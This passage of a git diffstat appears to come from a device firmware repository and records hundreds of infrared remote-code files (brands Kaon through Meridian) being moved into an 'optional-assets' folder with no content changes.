.../_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir | 0 .../_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir | 0 .../_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir | 0 .../_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kathrein/Satellite/34,144.ir | 0 .../_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir | 0 .../_CSV-IRDB_/Kensington/MP3 Player/51,170.ir | 0 .../_CSV-IRDB_/Kensington/iPod Dock/51,170.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/CD Player/182,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir | 0 .../_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir | 0 .../_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir | 0 .../_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/182,75.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,2.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,3.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,4.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,5.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,6.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/184,7.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Sirius/2,255.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Tuner/182,75.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/Tuner/184,1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir | 0 .../_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/VCR/184,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kenwood/VCR/184,1.ir | 0 .../_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir | 0 .../_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir | 0 .../_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir | 0 .../_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kingbox/h265/1,254.ir | 0 .../_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir | 0 .../_CSV-IRDB_/Knoll/Video Projector/24,233.ir | 0 .../_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir | 0 .../_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Krell/CD Player/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Krell/CD Player/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Krell/DVD Player/27,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Krell/Receiver/28,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Krell/Receiver/31,-1.ir | 0 .../_CSV-IRDB_/Krell/Surround Processor/16,-1.ir | 0 .../_CSV-IRDB_/Krell/Surround Processor/25,-1.ir | 0 .../_CSV-IRDB_/Krell/Surround Processor/28,-1.ir | 0 .../_CSV-IRDB_/Krell/Surround Processor/31,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir | 0 .../_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir | 0 .../_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir | 0 .../_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir | 0 .../_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/LG/Blu-Ray/45,45.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LG/DVD Player/16,16.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LG/DVD Player/44,44.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LG/DVD Player/45,45.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/LG/DVR/45,45.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/LG/Plasma/1,1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/LG/Plasma/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LG/Satellite/247,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LG/Sound Bar/44,44.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/LG/TV/1,1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/LG/TV/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir | 0 .../_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir | 0 .../_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/LXI/TV/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir | 0 .../_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir | 0 .../_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir | 0 .../_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir | 0 .../_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir | 0 .../_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir | 0 .../_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir | 0 .../_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Lexicon/Receiver/130,11.ir | 0 .../_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir | 0 .../_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir | 0 .../_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir | 0 .../_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir | 0 .../_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir | 0 .../_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir | 0 .../_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir | 0 .../_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir | 0 .../_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir | 0 .../_CSV-IRDB_/Linksys/Media Adapter/134,107.ir | 0 .../_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Linn/CD Player/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Linn/Classic music/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Linn/Classic music/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Linn/Classic music/20,-1.ir | 0 .../_CSV-IRDB_/Linn/Surround Processor/16,-1.ir | 0 .../_CSV-IRDB_/Linn/Surround Processor/23,-1.ir | 0 .../_CSV-IRDB_/Linn/Surround Processor/4,-1.ir | 0 .../_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir | 0 .../_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Loewe/DVD Player/45,45.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/TV/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/TV/27,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/TV/31,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/TV/33,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/TV/5,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/TV/6,-1.ir | 0 .../_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir | 0 .../_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/VCR/144,0.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/VCR/144,1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Loewe/VCR/5,-1.ir | 0 .../_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir | 0 .../_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Luxman/CD Player/204,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Luxman/Receiver/204,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir | 0 .../_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir | 0 .../_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir | 0 .../_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir | 0 .../_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir | 0 .../_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir | 0 .../_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/MGA/VCR/87,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/MISSION/CD Player/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir | 0 .../_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir | 0 .../_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir | 0 .../_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/MSI/Unknown_test/134,107.ir | 0 .../_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Magnavox/DSS/128,63.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir | 0 .../_CSV-IRDB_/Magnavox/DVD Player/135,34.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir | 0 .../_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Magnavox/TV/0,-1.ir | 0 .../_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Magnavox/VCR/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir | 0 .../_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir | 0 .../_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir | 0 .../_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Malata/DVD Player/1,-1.ir | 0 .../_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir | 0 .../_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir | 0 .../_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/CD Player/20,-1.ir | 0 .../_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir | 0 .../_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/DVD/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/DVD/69,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir | 0 .../_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir | 0 .../_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Plasma/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Plasma/24,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Plasma/24,24.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Plasma/24,247.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Plasma/80,-1.ir | 0 .../_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir | 0 .../_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir | 0 .../_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir | 0 .../_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Projector/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/176,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/18,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/21,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/23,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/26,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/39,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Receiver/8,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/TV/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/TV/144,0.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/TV/24,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/TV/24,24.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/TV/24,247.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/TV/80,-1.ir | 0 .../_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Tuner/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Tuner/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Tuner/20,-1.ir | 0 .../_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir | 0 .../_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir | 0 .../_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir | 0 .../_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir | 0 .../_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir | 0 .../_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/VCR/134,97.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/VCR/23,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/VCR/5,-1.ir | 0 .../_CSV-IRDB_/Marantz/Video Projector/0,-1.ir | 0 .../_CSV-IRDB_/Marantz/Video Projector/13,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir | 0 .../_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir | 0 .../_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir | 0 .../_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir | 0 .../_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir | 0 .../_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir | 0 .../_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Maxx/Plasma/32,64.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Maxx/Plasma/96,-1.ir | 0 .../_CSV-IRDB_/McIntosh/CD Player/202,149.ir | 0 .../_CSV-IRDB_/McIntosh/Control System/202,85.ir | 0 .../_CSV-IRDB_/McIntosh/DVD Player/128,80.ir | 0 .../_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir | 0 .../_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/McIntosh/Receiver/202,85.ir | 0 .../_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir | 0 .../_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir | 0 .../_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir | 0 .../_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir | 0 .../_CSV-IRDB_/Medion/Unknown_medion/128,123.ir | 0 .../_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir | 0 .../_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir | 0 .../_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir | 0 .../_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir | 0 .../_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir | 0 .../_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Memorex/TV/4,-1.ir | 0 .../_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Meridian/CD Player/19,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Meridian/CD-R/19,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir | 0 